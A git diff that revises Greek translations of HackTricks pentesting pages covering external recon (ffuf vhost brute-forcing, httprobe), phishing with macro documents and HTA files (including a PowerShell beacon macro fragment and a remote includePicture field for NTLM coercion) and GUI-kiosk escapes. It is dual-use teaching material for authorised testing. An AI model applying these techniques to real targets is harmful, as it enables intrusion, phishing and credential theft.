- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε ένα domain, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς.
#### Έξυπνη γενιά παραλλαγών
@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
### **VHosts / Εικονικοί Φιλοξενούμενοι**
Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτή την IP** αναζητώντας σε **πηγές OSINT** για τομείς σε μια IP ή **δοκιμάζοντας ονόματα τομέων VHost σε αυτή την IP**.
Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτή την IP** κοιτάζοντας σε **πηγές OSINT** για τομείς σε μια IP ή **δοκιμάζοντας ονόματα τομέων VHost σε αυτή την IP**.
#### OSINT
@ -421,7 +421,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
**Brute Force**
Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον δοκιμάσετε με brute force:
Αν υποψιάζεστε ότι κάποιο υποτομέα μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον δοκιμάσετε με brute force:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -459,7 +459,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
Αν το **subdomain** δείχνει σε κάποιο **S3 bucket**, [**ελέγξτε τις άδειες**](../../network-services-pentesting/pentesting-web/buckets/index.html).
Αν βρείτε οποιοδήποτε **subdomain με IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη assets, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/index.html#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που τρέχουν, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
&#xNAN;_&#x4E;ote ότι μερικές φορές το subdomain φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο, προσέξτε._
_Σημειώστε ότι μερικές φορές το subdomain φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο, να είστε προσεκτικοί._
## IPs
@ -486,19 +486,19 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
Παρακαλώ σημειώστε ότι αυτό θα είναι **προσανατολισμένο στην ανακάλυψη web apps**, οπότε θα πρέπει να **εκτελέσετε τη σάρωση ευπαθειών** και **σάρωση θυρών** επίσης (**αν επιτρέπεται** από το πεδίο).
Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** σχετικές με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/index.html#http-port-discovery).\
Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περάστε μια λίστα domains και θα προσπαθήσει να συνδεθεί στις θύρες 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες:
Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** που σχετίζονται με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/index.html#http-port-discovery).\
Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα domains και θα προσπαθήσει να συνδεθεί σε θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Στιγμιότυπα**
Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με το **να ρίξετε μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**.
Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με **μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**.
Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι είναι πιθανό να περιέχει ευπάθειες**, και τι όχι.
Επιπλέον, μπορείτε στη συνέχεια να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι πιθανόν να περιέχει ευπάθειες**, και τι όχι.
## Δημόσια Περιουσιακά Στοιχεία Cloud
@ -531,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **Αναζητώντας ευπάθειες**
Τα emails θα φανούν χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing.
Τα emails θα είναι χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing.
## Διαρροές Διαπιστευτηρίων
@ -550,14 +550,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### Διαρροές Github
Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στις **δημόσιες αποθήκες** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλες τις **δημόσιες αποθήκες** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω τους αυτόματα.
Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στα **δημόσια αποθετήρια** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλα τα **δημόσια αποθετήρια** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) σε αυτά αυτόματα.
**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** σε όλο το **κείμενο** που παρέχεται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
#### Github Dorks
Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανούς **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανά **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
{{#ref}}
github-leaked-secrets.md
@ -570,9 +570,9 @@ github-leaked-secrets.md
### Google Dorks
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**.
Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τα εκτελέσετε όλα**.
_Σημειώστε ότι τα εργαλεία που αναμένονται να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._
_Σημειώστε ότι τα εργαλεία που αναμένουν να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._
### **Αναζητώντας ευπάθειες**
@ -582,19 +582,19 @@ _Σημειώστε ότι τα εργαλεία που αναμένονται
Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** αυτόν και να αναζητήσετε **ευπάθειες** σε αυτόν.
**Ανάλογα με τη γλώσσα** υπάρχουν διαφορετικά **εργαλεία** που μπορείτε να χρησιμοποιήσετε:
**Ανάλογα με τη γλώσσα** υπάρχουν διάφορα **εργαλεία** που μπορείτε να χρησιμοποιήσετε:
{{#ref}}
../../network-services-pentesting/pentesting-web/code-review-tools.md
{{#endref}}
Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσιες αποθήκες**, όπως:
Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσια αποθετήρια**, όπως:
- [**Snyk**](https://app.snyk.io/)
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html)
Η **πλειοψηφία των ευπαθειών** που βρίσκονται από κυνηγούς σφαλμάτων βρίσκεται μέσα σε **web applications**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών web εφαρμογών**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/index.html).
Η **πλειοψηφία των ευπαθειών** που βρίσκονται από τους κυνηγούς σφαλμάτων βρίσκεται μέσα σε **ιστοσελίδες εφαρμογών**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών ιστοσελίδων**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/index.html).
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), καθώς, αν δεν πρέπει να περιμένετε να σας βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμα για να τα εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες ιστού.**
@ -604,17 +604,17 @@ _Σημειώστε ότι τα εργαλεία που αναμένονται
Έτσι έχετε ήδη:
1. Βρει όλους τους **τομείς** μέσα στο πεδίο
1. Βρει όλους τους **εταιρείες** μέσα στο πεδίο
2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέσει κάποια σάρωση ευπαθειών αν είναι στο πεδίο)
3. Βρει όλους τους **τομείς** που ανήκουν στις εταιρείες
4. Βρει όλους τους **υποτομείς** των τομέων (κάποια κατάληψη υποτομέα;)
4. Βρει όλους τους **υποτομείς** των τομέων (κάποια υποτομέα takeover;)
5. Βρει όλες τις **IP** (από και **όχι από CDNs**) μέσα στο πεδίο.
6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι παράξενο που αξίζει μια πιο βαθιά ματιά;)
7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία cloud** που ανήκουν στην εταιρεία.
8. **Emails**, **διαρροές διαπιστευτηρίων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
9. **Pentesting όλων των ιστότοπων που βρήκατε**
9. **Pentesting όλων των ιστοσελίδων που βρήκατε**
## **Πλήρη Αυτόματα Εργαλεία Αναγνώρισης**
## **Πλήρη Αυτόματα Εργαλεία Recon**
Υπάρχουν αρκετά εργαλεία εκεί έξω που θα εκτελέσουν μέρος των προτεινόμενων ενεργειών κατά ενός δεδομένου πεδίου.

View File

@ -11,7 +11,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
### 0- Φυσικές Επιθέσεις
Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Θα πρέπει να διαβάσετε μερικά [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md).
Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Πρέπει να διαβάσετε μερικά [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md).
### 1 - [Ανακαλύπτοντας hosts μέσα στο δίκτυο](pentesting-network/index.html#discovering-hosts)/ [Ανακαλύπτοντας τα περιουσιακά στοιχεία της εταιρείας](external-recon-methodology/index.html)
@ -46,7 +46,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
#### 5.1 Αυτόματα Εργαλεία
Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να εκτελέσουν **αυτόματες αξιολογήσεις ευπαθειών**. **Σας προτείνω να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με το pentesting υπηρεσιών που μπορείτε να βρείτε σε αυτό το βιβλίο.**
Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να εκτελέσουν **αυτόματες αξιολογήσεις ευπαθειών**. **Σας προτείνω να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με τις υπηρεσίες pentesting που μπορείτε να βρείτε σε αυτό το βιβλίο.**
#### **5.2 Brute-Forcing υπηρεσιών**
@ -60,7 +60,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
Με κάποιο τρόπο θα πρέπει να έχετε βρει **κάποιον τρόπο να εκτελέσετε κώδικα** στο θύμα. Στη συνέχεια, [μια λίστα με πιθανά εργαλεία μέσα στο σύστημα που μπορείτε να χρησιμοποιήσετε για να αποκτήσετε ένα reverse shell θα ήταν πολύ χρήσιμη](../generic-hacking/reverse-shells/index.html).
Ιδιαίτερα στα Windows, μπορεί να χρειαστείτε κάποια βοήθεια για να **αποφύγετε τα antivirus**: [**Ελέγξτε αυτή τη σελίδα**](../windows-hardening/av-bypass.md)**.**\\
Ιδιαίτερα στα Windows, μπορεί να χρειαστείτε κάποια βοήθεια για να **αποφύγετε τα antivirus**: [**Ελέγξτε αυτή τη σελίδα**](../windows-hardening/av-bypass.md)**.**
### 8- Μέσα
@ -80,9 +80,9 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
Αν δεν είστε **root/Διαχειριστής** μέσα στο σύστημα, θα πρέπει να βρείτε έναν τρόπο να **ανυψώσετε τα προνόμια.**\
Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανύψωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/index.html) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
Θα πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**:
Πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**:
- [**Αυθεντικοποίηση, Διαπιστευτήρια, Προνόμια Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
- [**Αυθεντικοποίηση, Διαπιστευτήρια, Δικαιώματα Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
- Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/index.html)
- Πώς να [**κλέψετε διαπιστευτήρια**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) στα Windows
- Μερικά tricks σχετικά με [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
@ -91,7 +91,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
#### **10.2- Ανύψωση Προνομίων Τομέα**
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, ανύψωση προνομίων και επιμονή σε ένα Active Directory**](../windows-hardening/active-directory-methodology/index.html). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team.
Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, ανύψωση προνομίων και διατήρηση σε ένα Active Directory**](../windows-hardening/active-directory-methodology/index.html). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team.
### 11 - POST
@ -100,10 +100,10 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον host ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\
Βρείτε εδώ διάφορους τρόπους για να [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Επιμονή
#### 11.2 - Διατήρηση
**Χρησιμοποιήστε 2 ή 3 διαφορετικούς τύπους μηχανισμού επιμονής ώστε να μην χρειαστεί να εκμεταλλευτείτε ξανά το σύστημα.**\
**Εδώ μπορείτε να βρείτε μερικά** [**tricks επιμονής στο active directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
**Χρησιμοποιήστε 2 ή 3 διαφορετικούς τύπους μηχανισμού διατήρησης ώστε να μην χρειαστεί να εκμεταλλευτείτε ξανά το σύστημα.**\
**Εδώ μπορείτε να βρείτε μερικά** [**tricks διατήρησης στο active directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
TODO: Complete persistence Post in Windows & Linux
@ -111,7 +111,7 @@ TODO: Complete persistence Post in Windows & Linux
Με τα **συγκεντρωμένα διαπιστευτήρια** θα μπορούσατε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειαστεί να **ανακαλύψετε και να σαρώσετε νέους hosts** (ξεκινήστε ξανά τη Μεθοδολογία Pentesting) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
Σε αυτή την περίπτωση, η σήραγγα μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**ένα post που μιλάει για σήραγγες**](../generic-hacking/tunneling-and-port-forwarding.md).\
Θα πρέπει επίσης να ελέγξετε το post σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/index.html). Εκεί θα βρείτε ωραία tricks για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να dump διαπιστευτήρια.\
Πρέπει επίσης να ελέγξετε το post σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/index.html). Εκεί θα βρείτε ωραία tricks για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να dump διαπιστευτήρια.\
Ελέγξτε επίσης τη σελίδα σχετικά με [**NTLM**](../windows-hardening/ntlm/index.html), μπορεί να είναι πολύ χρήσιμη για pivoting σε περιβάλλοντα Windows.
### ΠΕΡΙΣΣΟΤΕΡΑ
@ -126,7 +126,7 @@ TODO: Complete persistence Post in Windows & Linux
#### [**Βασική Python**](python/index.html)
#### **Tricks Κρυπτογράφησης**
#### **Crypto tricks**
- [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
- [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)

View File

@ -7,7 +7,7 @@
Το Microsoft Word εκτελεί έλεγχο εγκυρότητας δεδομένων αρχείου πριν ανοίξει ένα αρχείο. Ο έλεγχος εγκυρότητας δεδομένων εκτελείται με τη μορφή αναγνώρισης δομής δεδομένων, σύμφωνα με το πρότυπο OfficeOpenXML. Εάν προκύψει οποιοδήποτε σφάλμα κατά την αναγνώριση της δομής δεδομένων, το αρχείο που αναλύεται δεν θα ανοίξει.
Συνήθως, τα αρχεία Word που περιέχουν μακροεντολές χρησιμοποιούν την επέκταση `.docm`. Ωστόσο, είναι δυνατόν να μετονομάσετε το αρχείο αλλάζοντας την επέκταση του αρχείου και να διατηρήσετε τις δυνατότητες εκτέλεσης μακροεντολών.\
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακροεντολές, εκ του σχεδιασμού, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα διαχειρίζεται από το Microsoft Word και θα είναι ικανό για εκτέλεση μακροεντολών.\
Για παράδειγμα, ένα αρχείο RTF δεν υποστηρίζει μακροεντολές, εκ του σχεδιασμού, αλλά ένα αρχείο DOCM που μετονομάζεται σε RTF θα διαχειριστεί από το Microsoft Word και θα είναι ικανό για εκτέλεση μακροεντολών.\
Οι ίδιες εσωτερικές διαδικασίες και μηχανισμοί ισχύουν για όλα τα λογισμικά της σουίτας Microsoft Office (Excel, PowerPoint κ.λπ.).
Μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή για να ελέγξετε ποιες επεκτάσεις θα εκτελούνται από ορισμένα προγράμματα Office:
@ -19,7 +19,7 @@ DOCX αρχεία που αναφέρονται σε ένα απομακρυσμ
### Φόρτωση Εξωτερικής Εικόνας
Μεταβείτε: _Εισαγωγή --> Γρήγορα Μέρη --> Πεδίο_\
&#xNAN;_**Κατηγορίες**: Σύνδεσμοι και Αναφορές, **Ονόματα πεδίων**: includePicture, και **Όνομα αρχείου ή URL**:_ http://\<ip>/whatever
_**Κατηγορίες**: Σύνδεσμοι και Αναφορές, **Ονόματα πεδίων**: includePicture, και **Όνομα αρχείου ή URL**:_ http://\<ip>/whatever
![](<../../images/image (155).png>)
@ -71,9 +71,9 @@ proc.Create "powershell <beacon line generated>
#### Επέκταση Εγγράφου
Όταν τελειώσετε, επιλέξτε το αναπτυσσόμενο μενού **Save as type**, αλλάξτε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
Κάντε το αυτό γιατί **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει ένα **στίγμα** **γύρω** από την επέκταση με δυνατότητα μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις αποκλείουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**.
Κάντε το αυτό γιατί **δεν μπορείτε να αποθηκεύσετε μακροεντολές μέσα σε ένα `.docx`** και υπάρχει ένα **στίγμα** **γύρω** από την επέκταση μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες πύλες ιστού/ηλεκτρονικού ταχυδρομείου τις αποκλείουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι η καλύτερη συμβιβαστική λύση**.
#### Κατασκευαστές Κακόβουλων Μακροεντολών
#### Δημιουργοί Κακόβουλων Μακροεντολών
- MacOS
- [**macphish**](https://github.com/cldrn/macphish)
@ -81,7 +81,7 @@ proc.Create "powershell <beacon line generated>
## Αρχεία HTA
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και γλώσσες scripting (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφαλείας ενός προγράμματος περιήγησης.
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και γλώσσες scripting (όπως VBScript και JScript)**. Δημιουργεί τη διεπαφή χρήστη και εκτελείται ως "πλήρως αξιόπιστη" εφαρμογή, χωρίς τους περιορισμούς του μοντέλου ασφάλειας ενός προγράμματος περιήγησης.
Ένα HTA εκτελείται χρησιμοποιώντας **`mshta.exe`**, το οποίο συνήθως είναι **εγκατεστημένο** μαζί με **Internet Explorer**, καθιστώντας το **`mshta` εξαρτώμενο από το IE**. Έτσι, αν έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελούνται.
```html
@ -140,7 +140,7 @@ self.close
```
## Εξαναγκασμός NTLM Αυθεντικοποίησης
Υπάρχουν αρκετοί τρόποι για να **εξαναγκάσετε την NTLM αυθεντικοποίηση "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που θα έχει πρόσβαση ο χρήστης (ακόμα και HTTP MitM;). Ή να στείλετε το θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσουν** μια **αυθεντικοποίηση** μόνο και μόνο για **άνοιγμα του φακέλου.**
Υπάρχουν αρκετοί τρόποι για να **εξαναγκάσετε την NTLM αυθεντικοποίηση "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που θα έχει πρόσβαση ο χρήστης (ακόμα και HTTP MitM;). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **ενεργοποιήσουν** μια **αυθεντικοποίηση** απλά για **άνοιγμα του φακέλου.**
**Ελέγξτε αυτές τις ιδέες και περισσότερες στις επόμενες σελίδες:**

View File

@ -11,7 +11,7 @@
| Κουμπί τροφοδοσίας | Η απενεργοποίηση και η ενεργοποίηση της συσκευής μπορεί να αποκαλύψει την οθόνη εκκίνησης |
| Καλώδιο τροφοδοσίας | Ελέγξτε αν η συσκευή επανεκκινείται όταν η τροφοδοσία διακοπεί προσωρινά |
| Θύρες USB | Συνδέστε φυσικό πληκτρολόγιο με περισσότερες συντομεύσεις |
| Ethernet | Η σάρωση δικτύου ή η υποκλοπή μπορεί να επιτρέψει περαιτέρω εκμετάλλευση |
| Ethernet | Σάρωση δικτύου ή sniffing μπορεί να επιτρέψει περαιτέρω εκμετάλλευση |
## Έλεγχος για πιθανές ενέργειες μέσα στην εφαρμογή GUI
@ -122,7 +122,7 @@ Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourcef
#### 'Εργαλειοθήκη Εικόνας'
Είναι μια εργαλειοθήκη που εμφανίζεται στην επάνω αριστερή γωνία της εικόνας όταν κάνετε κλικ. Θα μπορείτε να Αποθηκεύσετε, Εκτυπώσετε, Mailto, Άνοιγμα "Οι Εικόνες Μου" στο Explorer. Το Kiosk πρέπει να χρησιμοποιεί τον Internet Explorer.
